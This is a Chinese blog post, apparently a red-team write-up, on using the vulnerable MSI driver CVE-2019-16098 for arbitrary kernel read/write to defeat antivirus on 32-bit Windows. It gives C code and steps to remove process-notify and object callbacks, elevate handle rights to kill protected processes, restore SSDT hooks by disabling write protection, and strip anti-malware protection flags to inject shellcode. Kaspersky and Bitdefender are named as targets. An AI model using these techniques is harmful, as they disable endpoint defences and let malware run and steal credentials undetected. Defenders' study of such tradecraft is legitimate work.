一、写在前面
1、此文章仅是笔者关于Windows驱动学习的记录
2、文章中用到的系统是windows 18363 32位
3、用到的内核任意地址读写漏洞的驱动是微星的驱动(CVE-2019-16098)
4、此篇文章中所有的代码地址
二、简介
文章主要内容
1、删除杀软回调
2、kill杀软进程
3、shellcode注入杀软进程
4、删除杀软ob回调
三、删除杀软回调
1、杀软、EDR大部分都是通过PsSetCreateProcessNotifyRoutine来监控进程的创建。
2、前辈们已经详细的讲解过PsSetCreateProcessNotifyRoutine函数,简单点理解就是PsSetCreateProcessNotifyRoutine主要去操作PspCreateProcessNotifyRoutine这个全局数组,而这个数组里面的值解密后指向EX_CALLBACK_ROUTINE_BLOCK结构体(arrValue & ~7),数组的最大大小是64(03最大大小是8)。
typedef struct _EX_RUNDOWN_REF
{
union
{
ULONG Count;
PVOID Ptr;
};
} EX_RUNDOWN_REF, * PEX_RUNDOWN_REF;
typedef struct _EX_CALLBACK_ROUTINE_BLOCK
{
EX_RUNDOWN_REF RundownProtect;
PEX_CALLBACK_FUNCTION Function;
PVOID Context;
} EX_CALLBACK_ROUTINE_BLOCK, *PEX_CALLBACK_ROUTINE_BLOCK;
3、通过WINdbg查看回调函数的地址
pchunter查看
可以看到得到的回调函数地址是一样的。
4、如何通过任意内核地址读写去删掉杀软的回调?
PspCreateProcessNotifyRoutine是全局数组,我们只需要在ntoskrnl.exe中找到取PspCreateProcessNotifyRoutine地址的地方,然后再读取系统运行的ntoskrnl.exe对应地方的值即可(64位系统需要用偏移去获取PspCreateProcessNotifyRoutine数组地址)。如图0x8235e0e8就是 PspCreateProcessNotifyRoutine地址。
参考mimikatz获取特征码的方法
//pattern {0x33, 0xff, 0x6a, 0x00, 0x8b, 0xd0, 0x8b, 0xcb, 0xe8}
//StartFunction PoRegisterCoalescingCallback
//endFunction PoRequestShutdownEvent
BOOL GetGlobalAddress(PSTR ModuleName, PSTR StartFunction, PSTR endFunction, PUCHAR pattern, DWORD dwPattern,DWORD callback,PVOID* globalAddress)
{
HMODULE hModule = NULL;
DWORD offset = 0, dwSizeofImage, i;
PVOID StartAddress, endAddress;
BOOL result = FALSE;
if (hModule = LoadLibraryExA(ModuleName, NULL, DONT_RESOLVE_DLL_REFERENCES))
{
dwSizeofImage = ((PIMAGE_NT_HEADERS32)((PBYTE)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew))->OptionalHeader.SizeOfImage;
StartAddress = GetProcAddress(hModule, StartFunction);
endAddress = GetProcAddress(hModule, endFunction);
for (i = 0; i <(DWORD)((PBYTE)endAddress - (PBYTE)StartAddress); i++)
{
if (RtlEqualMemory((PBYTE)StartAddress + i, pattern, dwPattern))
{
offset = (DWORD)((PBYTE)StartAddress - (PBYTE)hModule + i);
break;
}
}
if (offset)
{
for (i = 0; i < moduleInfos->NumberOfModules; i++)
{
if (StrStrIA(moduleInfos->Modules[i].FullPathName, ModuleName))
{
*globalAddress = ULongToPtr((PtrToUlong(moduleInfos->Modules[i].ImageBase) + offset + callback));
//wprintf(L"[*] find pattern at %pn", *globalAddress);
result = TRUE;
break;
}
}
}
else AUTO_ERROR(L"FindPattern");
FreeLibrary(hModule);
}
else AUTO_ERROR(L"LoadLibraryExA");
return result;
}
找到PspCreateProcessNotifyRoutine数组地址之后只需要遍历数组中的值,解密得到回调地址之后判断该回调地址是否是目标杀软的驱动文件中即可,如果是就将数组中该回调对应的值修改成0即可,如下是删除卡巴斯基创建进程类事件监控。
四、kill杀软进程
1、杀软都会有监控防止自身进程被其他进程kill掉。但是我们都可以以PROCESS_QUERY_LIMITED_INFORMATION权限获取杀软进程的句柄,我们只需要找到当前进程私有句柄表中代表杀软句柄的值,然后将PROCESS_QUERY_LIMITED_INFORMATION修改成需要的权限即可。
2、我们需要先获取到自身进程的EPROCESS地址,这样才能找到私有句柄表的地址。首先打开自身进程,然后用NtQuerySystemInformation获取到全局句柄表,在全局句柄表中找到自身句柄的EPROCESS地址的代码如下。
NTSTATUS GetGlobalHandleTable(PVOID* handletable)
{
DWORD cbNeed;
NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH;
for (cbNeed = 0x1000; (status == STATUS_INFO_LENGTH_MISMATCH) && (*(PVOID*)handletable = LocalAlloc(LPTR, cbNeed));)
{
status = NtQuerySystemInformation(SystemHandleInformation, *(PVOID*)handletable, cbNeed, &cbNeed);
if (!NT_SUCCESS(status))
LocalFree(*(PVOID*)handletable);
}
return status;
}
BOOL GetCurrentProcessEprocessByHandle(HANDLE hProcess, PSYSTEM_HANDLE_INFORMATION handletable, DWORD processId, PVOID* EPROCESS)
{
BOOL status = FALSE;
for (unsigned int i = 0; i < handletable->NumberOfHandles; i++)
{
if (handletable->Handles[i].ObjectTypeIndex == 7)
{
if (handletable->Handles[i].HandleValue == (USHORT)hProcess && handletable->Handles[i].UniqueProcessId == processId)
{
*EPROCESS = handletable->Handles[i].Object;
status = TRUE;
break;
}
}
}
return status;
}
3、通过ObjectTable偏移找到_HANDLE_TABLE结构体的地址,结构体中TableCode就是私有句柄表的地址,TableCode值的最后一位代表句柄表的级别,分别是0、1、2,感兴趣的师傅可以自己去了解下,这里就不细说了。
4、找到私有句柄表地址之后,用PROCESS_QUERY_LIMITED_INFORMATION权限打开目标进程,通过返回的句柄值,计算得到该句柄HANDLE_TABLE_ENTRY地址,该结构体中GrantedAccessBits就是句柄的权限,我们只需要修改这个值即可。
5、但是在实际测试kill卡巴斯基的时候发现并不能kill掉,因为卡巴斯基ssdt hook了NtTerminateProcess(64位无此问题),导致不能kill掉,从Ring3层直接修改SSDT表中的值是不行的,因为SSDT表有写保护,需要通过加载驱动修改CR0寄存器的值之后才能修改SSDT表,网上有很多关于SSDT的文章,这里就不细说了,如下代码是判断函数是否被SSDT HOOK。
BOOL GetSSDTIndex(PSTR FunctionName, PULONG Index)
{
HMODULE hModule = NULL;
DWORD old;
PVOID fAddress = NULL;
BOOL status = FALSE;
hModule = GetModuleHandleW(L"ntdll");
if (hModule)
{
fAddress = GetProcAddress(hModule, FunctionName);
if (fAddress)
{
VirtualProtect(fAddress, 5, PAGE_EXECUTE_READWRITE, &old);
*Index = *(PULONG)((PBYTE)fAddress + 1);
VirtualProtect(fAddress, 5, old, &old);
status = TRUE;
}
}
return status;
}
BOOL GetKernelFuncAddress(PSTR ModuleName,PUCHAR pattern,DWORD dwPattern,PVOID* funcAddress)
{
HMODULE hModule = NULL;
DWORD dwSizeofImage, i, j;
BOOL status = FALSE;
if (hModule = LoadLibraryExA(ModuleName, NULL, DONT_RESOLVE_DLL_REFERENCES))
{
dwSizeofImage = ((PIMAGE_NT_HEADERS32)((PBYTE)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew))->OptionalHeader.SizeOfImage;
for (i = 0; i < dwSizeofImage - dwPattern; i++)
{
if (RtlEqualMemory((PBYTE)hModule + i, pattern, dwPattern))
{
for (j = 0; j < moduleInfos->NumberOfModules; j++)
{
if (StrStrIA(moduleInfos->Modules[j].FullPathName, ModuleName))
{
*funcAddress = UlongToPtr(PtrToUlong(moduleInfos->Modules[j].ImageBase) + i);
status = TRUE;
break;
}
}
break;
}
}
}
return status;
}
void CheckSSDTHOOK(PDRIVER_INFO driverInfo,PBYTE ServiceTableBase,PSTR funcName,PBYTE pattern,DWORD dwPattern)
{
DWORD i;
ULONG Index;
PVOID KernelAddress = NULL, realKernelAddress = NULL;
if (GetSSDTIndex(funcName, &Index) && GetKernelFuncAddress(driverInfo->ModuleName, pattern, dwPattern, &realKernelAddress))
{
ReadR0Code(driverInfo->hDevice, 4, (PBYTE)ServiceTableBase + Index * sizeof(PVOID), &KernelAddress);
if (KernelAddress != realKernelAddress)
{
if (needSort)
SortDevice();
for (i = 0; i < moduleInfos->NumberOfModules; i++)
{
if (KernelAddress < moduleInfos->Modules[i].ImageBase)
{
wprintf(L"[*] %hs Was SSDT HOOK in %hs,CurrentAddress %p, OriginallyAddress %p, Now try to Disable SSDT Table WriteProtectn", funcName, strrchr((PSTR)moduleInfos->Modules[i - 1].FullPathName, '\') + 1, KernelAddress, realKernelAddress);
if (DisableWP(driverInfo))
{
WriteR0Code(driverInfo->hDevice, 4, (PBYTE)ServiceTableBase + Index * sizeof(PVOID), (DWORD)realKernelAddress);
while (TRUE)
{
if (Control_CR0(FALSE))
break;
}
}
LoadDriver(TRUE);
break;
}
}
}
}
}
6、最终kill卡巴斯基进程效果(运行时可能会蓝屏2333,实际环境中遇到的基本都是64位机器,并且绝大部分杀软在被kill之后很快就会再运行起来,所以这个在实际环境中意义不大)
五、shellcode注入杀软进程
1、shellcode注入杀软进程其实和kill杀软进程差不多,但是杀软进程很多有PsProtectedSignerAntimalware标志,有此标志的进程即使能将shellcode写入也不能起线程,所以需要将PsProtectedSignerAntimalware移除掉,待注入完成之后再恢复此标志。
2、PsProtectedSignerAntimalware在EPROCESS中,Signer即是PsProtectedSignerAntimalware的值。
3、在注入卡巴斯基的时候还需要将创建线程监控的回调给删掉,最终效果如下
六、删除OB回调
1、有些杀软会通过ObRegisterCallbacks创建PsProcessType回调来防止特定进程的句柄被恶意软件打开,比如比特梵德通过此方法防止lsass被其他进程用PROCESS_VM_READ权限打开。
2、PsProcessType是指向_OBJECT_TYPE结构体的指针,并且PsProcessType也是一个全局变量,可以参考mimikatz的方法找到PsProcessType的值,如下是windbg中查看ob回调的结果。
3、_OBJECT_TYPE中的CallbackList->FLink指向如下结构体,PreCall和PostCall就是ob回调函数的地址,找到函数地址之后判断函数是否位于目标杀软的驱动文件中,如果是就将这两个函数地址修改掉即可。
#pragma pack(1)
typedef struct _OB_CALLBACK
{
LIST_ENTRY ListEntry;
ULONGLONG Unknown;
PVOID ObHandle;
PVOID ObjTypeAddr;
PVOID PreCall;
PVOID PostCall;
} OB_CALLBACK, * POB_CALLBACK;
#pragma pack(pop)
4、最终删除ob Process类型回调的效果如下
七、写在最后
1、文章中的测试环境是32的系统,所以代码也只适用于32位的系统,但是稍微修改下就可以适用于64位系统。
2、文中很多地方可能表达不是很清楚,通过代码可能能更好的理解2333。
参考
https://github.com/gentilkiwi/mimikatz
https://github.com/Barakat/CVE-2019-16098
原文始发于微信公众号(我真不是红队啊):Ring0下的杀软对抗(附无证书加载驱动方案)
所以 无证书加载方案呢大佬
你可以看看后面那个github里面的代码